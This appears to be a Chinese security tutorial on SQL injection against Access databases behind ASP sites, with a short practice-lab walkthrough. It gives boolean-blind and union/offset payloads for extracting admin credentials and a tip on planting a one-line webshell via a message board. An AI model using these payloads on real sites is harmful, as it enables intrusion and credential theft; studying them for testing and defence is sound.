首页 > 其他分享 >0x11.ACCESS注入

0x11.ACCESS注入

时间:2023-12-26 15:36:11浏览次数:34  
标签:access admin 0x11 ACCESS union id select 注入

基本判断

  • 常见搭配:asp+access

  • 后缀:.mdb,如果有/data/data.asp,直接在留言板或者搜索框里面插入一句话,然后shell掉data.asp

  • 工具:

    • 辅臣、access密码读取。
    • 使用sqlmap时,直接--tables,不用判断database。因为所有的表都在同一个数据库中,而且access数据库不存在database()函数
  • 判断:

    • 单引号(双引号会把传递内容都当成字符串)
    • -0和/
    • and 1=1和and 1=2

注入

access数据库:union注入、bool盲注、偏移注入

Union注入

  • access的联合查询注入和mysql联合注入不同的点有两个
    • 第一个是,access的union前半句话为真
    • 第二个是,access必须指定表名,用不了--+,#
  • 思路:判断是否有注入--->order by判断表个数--->猜表名--->猜列名(bp,结合网站后台目录名)

bool盲注

一般使用sqlmap

#判断数据库类型,或者使用count(*)
and exists (select * from msysobjects)>0 access
and exists (select * from sysobjects)>0 sqlserver

#判断数据库表,对user处fuzz
and exists (select * from user)

#判断数据库列,对admin处fuzz
and exists (select admin from user)

#猜管理员账号
and (select top 1 asc(mid(admin,1,1)) from user)>100 返回正常说明大于,不正常说明不大于

偏移注入

适用于猜出了表名,猜不出列名

  • 使用:*代替列数,并且往前面减,回显点会出现某一列的数据(随机)。如:id =1 union select 1,2,3,4,*-----> id =1 union select 1,2,3,*一直往前删除,直到出现数据

  • 实战情景:

    • 如果一个access数据库有38个表,使用偏移注入,直到27个表才有回显,中间相差11个
    • 推测下一个出现数据的地方在16,尝试爆数据。下面写了三句话,如果爆不出数据,依次去爆破
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id=b.id)
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
    
    • 推测下一个出现数据的地方在5,a.id等同上
    union select 1,2,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

靶场

环境:墨者靶场的access注入

  • 进入环境,发现注入点在公告页面

  • 使用order by语句判断有4张表

  • 盲猜数据库是admin,id=1 union select 1,* from admin

  • 盲猜了列名,username和passwd

标签:access,admin,0x11,ACCESS,union,id,select,注入
From: https://www.cnblogs.com/garliccc/p/17928215.html

相关文章

  • SDN、SD-Access、SD-WAN、BGP EVPN、LISP
    一、SDN术语思科术语:DNA是数字网络架构,是一种架构理念,可理解以下都算其解决方案:SD-Access软件定义接入,侧重于园区网络接入SD-WAN软件定义广域网,侧重于广域网互联解决方案ACI以应用为中心的基础架构,是Cisco思科提出的数据中心的解决方案,侧重于数据中心整体架构解决方案;二、SD-Acces......
  • C# IOC注入示例
    文章目录主函数`常规注入``属性注入``方法注入`主函数usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingUnity;namespaceIOCTest{internalclassProgram{staticvoidMain(......
  • 依赖注入容器 perRequest(Transient)和Singleton区别
    在CM框架中,"perRequest"和"Singleton"都是生命周期配置选项,用于指示对象的创建和共享方式。它们之间的区别在于对象实例的生命周期和共享方式。对于"perRequest"(有时被称为"Transient"):对象的实例在每个请求处理期间只创建一次,并在同一个请求内共享。每个请求都有自己的对象实例,不......
  • 深入理解 Spring IoC 和 DI:掌握控制反转和依赖注入的精髓
    在本文中,我们将介绍IoC(控制反转)和DI(依赖注入)的概念,以及如何在Spring框架中实现它们。什么是控制反转?控制反转是软件工程中的一个原则,它将对象或程序的某些部分的控制权转移给容器或框架。我们最常在面向对象编程的上下文中使用它。与传统编程相比,传统编程中我们的自定义......
  • DVWA靶场之命令注入
    命令注入简介命令注入(CommandInjection,又叫操作系统命令注入为shell注入):指在开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对输入参数进行严格过滤时,则有可能发生命令注入。原因:程序对输入与输出的控制不够严格,导致精心构造的命令输入在后台执行后产生......
  • .NET 8最强新功能:键控服务依赖注入
    什么是键控服务依赖注入?在之前的依赖注入中,服务是根据其类型进行注册和解析的。如果出现同一接口有多个实现怎么办呢?这时候就可以使用.NET8的新功能“键控服务依赖注入”。它允许您注册接口的多个实现,每个实现都与一个唯一键相关联,然后基于该键解析所需的实现。在.NET8中的实......
  • 【C#】.net core 6.0 通过依赖注入注册和使用上下文服务
    给自己一个目标,然后坚持一段时间,总会有收获和感悟!请求上下文是指在Web应用程序中处理请求时,包含有关当前请求的各种信息的对象。这些信息包括请求的头部、身体、查询字符串、路由数据、用户身份验证信息以及其他与请求相关的数据。目录一、DbContext1.1、创建自定义类1.2、注册......
  • CRC-Aided Sparse Regression Codes for Unsourced Random Access
    一、摘要随记仅用于个人对论文的分析、初步复现。1.1文件夹介绍随机包含了一篇论文的仿真结果的源代码,该论文的标题是"CRC-aidedSpareRegressionCodesforUnsourcedRandomAccess"。源代码CRC-aided_SPARCs_for_URA-main,一共包括三个文件夹:"CRC-BMSTcodesforst......
  • java接口自动化系列(05):测试数据注入到测试方法
     注入测试数据这里我们是数据驱动方式,把数据注入到测试方法上一篇我们已经把用例数据封装到对象并放到list中,这里我们把用例对象list中的对象分别放到Object类型的一维数组中,再把一维数组添加到新对象类型一维数组的list中然后我们在测方法中打印获取到的用例数据,看获取到的......
  • MapStruct+Maven+Lombok问题NoSuchBeanDefinitionException、does not have an access
    概述先直接说我遇到的问题吧,SpringBoot应用启动失败:ERROR|org.springframework.boot.web.embedded.tomcat.TomcatStarter|onStartup|61|-ErrorstartingTomcatcontext.Exception:org.springframework.beans.factory.UnsatisfiedDependencyException.Message:Error......